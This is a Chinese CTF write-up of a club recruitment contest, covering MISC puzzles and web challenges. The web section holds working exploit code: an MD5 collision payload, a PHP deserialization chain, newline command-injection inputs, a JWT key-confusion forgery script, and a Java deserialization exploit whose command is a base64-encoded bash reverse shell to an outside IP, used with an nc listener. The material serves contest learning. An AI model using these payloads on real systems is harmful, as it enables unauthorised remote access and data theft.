CBCTF 0rays协会招新

12/10~12/11

坐牢做得最狠的一次

MISC

签到

拖入 010editer 发现 CRC 校验错误,尝试修改高度

得到完整图片通过 stegsolve 在其他颜色通道发现了 flag 。

CBCTF{th4t_iS_why_Namless_is_a_Pwner}

又一个签到

常规明文,压缩软件为 winrar

得到压缩包掩码攻击,发现时间有点长

遂猜测掩码部分为 0RAYS 解压得到 flag

CBCTF{0ays_My_fav0rit3}

签二送一

其实在写前两题的时候就发现了 flag 的格式有点问题

在网页源码中找到了 /myS3cretPa9e

打开发现 emoji-AES 加密符号,

密码为前两题缺的字符 re ,得到 flag

CBCTF{wow~y0u_F1nd_th3_seCret}

智能卡

不熟悉 dump 文件,把 Volatility 和 TestDisk 梭了一遍发现啥都没有

根据题目‘智能卡’了解到应该为 M1 卡的存储系统 dump 出来的

用 MifareOneTool 提取了有效位的二进制数据(手搓也很快

根据题目后来放出的 hint 从 Xor 方面入手,但找不到 key

后来发现 key 长度非单字节,遂写脚本解密

1
2
3
4
5
6
7
8
a=[0xF8,0x02,0xA1,0x75,0xFD,0x3B,0xBB,0x11,0xCE,0x1F,0xB0,0x12,0xFB,0x2C,0xBD,0x6A,0xD5,0x70,0x95,0x7e,0xf8,0x00,0xb0,0x45,0xc6,0x14,0x8a]
key = [0xbb,0x40,0xe2,0x21]
t = 0
flag =""
for i in range(len(a)):
flag= flag + chr(a[i] ^ key[t])
t = (t + 1) % 4
print(flag)

CBCTF{wow~y0u_F1nd_th3_seCret}

环(未出

将附件压缩包解压发现为多次的伪加密重复操作

写脚本解压

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import zipfile,os,pyzipper
path = r'C:\Users\xxxxx\Desktop\2'
with open(fakecry,'rb') as f:
realpos = (f.read()[-68:-64])
print(realpos)
def x():
for i in os.listdir(path):
if '.zip' in i:
route = os.path.join(path,i)
zip_file = zipfile.ZipFile(route)
for f in zip_file.namelist():
zip_file.extract(f, path)
zip_file.close()
os.remove(route)
return(zip_file.namelist())
while 1:
fakecry = x()
print(fakecry,end="")
with open(fakecry[0],'rb') as f:
data = f.read()
with open('0'+fakecry[0],'xb') as f1:
f1.write(data[0:-68])
f1.write(realpos)
#print(data[-64:-1])
f1.write(data[-64:-1])
f1.write(data[-2:-1])
os.remove(fakecry[0])
zips=[m for m in os.listdir(path) if '.zip'in m]
if not zips:
break

将打印出来的文件名数据处理

然后 cyberchef 一把梭(b32+hex+b32+b64+hex+b32+b64+hex)

得到密文1our secret is P@ssW0rdddd

然后 Oursecret 对 flag.jpg 解密得到密文2+u(3+??*/RgXs1G(Fn0fUaFAi2@rAN)GVAn>L10fEW$

作为密码解开题目另一个附件trueflag.zip得到flag

CBCTF{ca6f2d0f-425b-4e47-84cd-9164ea86fd53}

所以没写出来的竟然是脚本打印的时候少了第一个压缩包的名字。。


WEB

php_start

简单的改包过( referer 半天想不到

然后强碰撞

1
cbc3=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&cbc4=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

命令执行 cat /flag(数组也行

cbctf{655bda55bf98257ae904938677bc48ba}

反序列化来送分咯

简单的反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class A {
public $a;
}
class B {
public $b;
}
$aaa = New A();
$bb1 = New B();
$bb2 = New B();
$aaa -> a =$bb1;
$bb1 -> b = $bb2;
$bb2 -> b = 'flag.php';
echo urlencode(serialize($aaa));

cbctf{97c8b1fafd57c6a9dad58e0f33d245b7}

dig(未出

后台命令执行 dig <type> <domain>,ban掉了; $ & | / * \

当时没看仔细这个命令然后对着type一顿绕过🌿

正确解法应该为

1
2
3
{"domain":"baidu.com","type":"\npwd\n#"} #查看当前位置路劲
{"domain":"baidu.com","type":"\ncd ..\ncd ..\ncd ..\nls\n#"} #查看根目录,/被ban用\n代替
{"domain":"baidu.com","type":"\ncd ..\ncd ..\ncd ..\ncat ffFFLl11AaAag9g99gGg\n#"} #查看flag

CBCTF{g3eAt_u5e_node_characteristic_c0mmand_1Nj3ct_1T}

ezJWT(未出

知识点pankas’blog#CVE-2016-5431 - Key Confusion Attack

题目给了 jwt 算法公钥

源码写在注释里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
var { expressjwt } = require("express-jwt");
var path = require('path');
var jwt = require("jsonwebtoken");
const express = require('express');
var cookieParser = require('cookie-parser');
var fs = require("fs");
const app = express();
const port = 3000

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
var publicKey = fs.readFileSync('./config/public.pem');
var privateKey = fs.readFileSync('./config/private.pem');
var flag = fs.readFileSync("./flag");
app.use(expressjwt({ secret: publicKey, algorithms: ["HS256", "RS256"]}).unless({ path: ["/"] }));
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'twig');

app.get('/', async (req, res) => {
const token = jwt.sign({ username: 'user', isCTFer: false}, privateKey, { algorithm: "RS256" });
res.render('index', { title: "欢迎来到赛博空间" ,tip:"这是你的身份令牌:",token: token });
})

app.post('/flag', async (req, res) => {
if(req.auth.isCTFer === true){
res.send(flag);
}else if(req.auth.isCTFer === false) {
res.send("CBCTF{Su13m1t_it_f4stly_aNd_y0u_will_f1nd_that_you_Hav3_bEen_cHeated}");
}

})

app.use(function(req, res, next) {
next(createError(404));
});

app.use(function(err, req, res, next) {

res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
res.render('hint',{message: "想拿到flag就必须先证明自己的实力",hint:"there are something useful:",publickey:publicKey});
});


app.listen(port, () =>{
console.log(`Node app listening on port ${port}`);
})

服务端对 jwt 验证时定义了 RS256 和 HS256 两种算法,而 HS256 为对称加密,可修改加密方式 alg 为 HS256 进行 jwt 伪造

修改 Pyjwt 源代码库 algorithms.py ,注释掉188-192行内容,因为此处会验证密钥格式抛出错误

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import jwt
import time
import math
import requests

public = open('public.pem', 'r').read()
header = {
"alg": "HS256",
"typ": "JWT"
}
payload = {
"username": "admin",
"isCTFer": True,
"iat": math.floor(time.time())
}
encoded = jwt.encode(payload, public, algorithm='HS256', headers=header)
data = {"Authorization": "Bearer " + encoded}
url = 'http://b004e4a4-859f-4608-a11b-59bbcd1f2616.training.0rays.club:8001/flag'
a = requests.post(url,headers = data)
print(a.text)

CBCTF{Ok_y0u_ar3_a_CTFer_Now}

first_java(未出

看不太懂先贴官方wp,以后再补

首先题目给出了app.jar,我们使用Java反编译工具jd-gui来得到源码。(把jar包拖到jd-gui.exe就可以啦)

辨识出来是springboot项目(一个轻型应用框架)

看看controller层

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@GetMapping("/")
public String home() {
return "Hello Java!";
}
@RequestMapping("/vul")//配置路由 访问ip/vul即进入这个函数
public String read(@RequestParam(name = "data", required = true) String data) throws Exception {

data=data.replace(" ","+");
//System.out.println(data);
byte[] bytes = tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
return "oHHH~ this is a secret ";
}

可以看到是一个Java反序列化的入口,将输入的data进行base64解码后进行反序列化。
然后找调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@Repository
public class User implements Serializable {
private String name;
private User(){};
public void eval() {
try {
new exec(this.name).runcmd();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
public String toString(){
this.eval();
return "";
}
}
public class exec implements Serializable {
private String cmd;
public exec(String s){this.cmd=s;};
public String runcmd() throws IOException {
Runtime runtime = Runtime.getRuntime();
runtime.exec(this.cmd);
return "";
}
}

这里显然就是User的toString方法到eval方法再到exec类中的runcmd方法。(为什么说是first_java就是因为这里不用追调用链,会java反序列化就出了)而toString方法怎么触发,搜索引擎一搜就能搜到。即BadAttributeValueExpException 类。(BadAttributeValueExpException:反序列化的时候会去调用成员变量val的toString函数)
综上,我们只需要构造一个BadAttributeValueExpException 类对象,把其成员变量val赋为User类对象,其中User对象的name成员变量为要执行的命令。(这里由于无回显所以用一个反弹shell的技巧)

关于java反序列化链的构造可以先了解Java反射、看readObject()方法等等。再不会直接QQ找1manity,我手把手教~~

下面给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.demo;

import com.example.demo.classes.User;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;

public class exp {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {

Class c=Class.forName("com.example.demo.classes.User");
Constructor con=c.getDeclaredConstructor();
con.setAccessible(true);
Object u=con.newInstance();

setFieldValue(u,"name","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuMTIyLjIyMS8zMzQ1NyAwPiYx}|{base64,-d}|{bash,-i}");

BadAttributeValueExpException val1 = new BadAttributeValueExpException(null);
setFieldValue(val1,"val",u);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(val1);
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
}
}

在自己的服务器上起nc -lvp 33452,提交payload

可以看到连接到目标机了~ cat /flag就好了~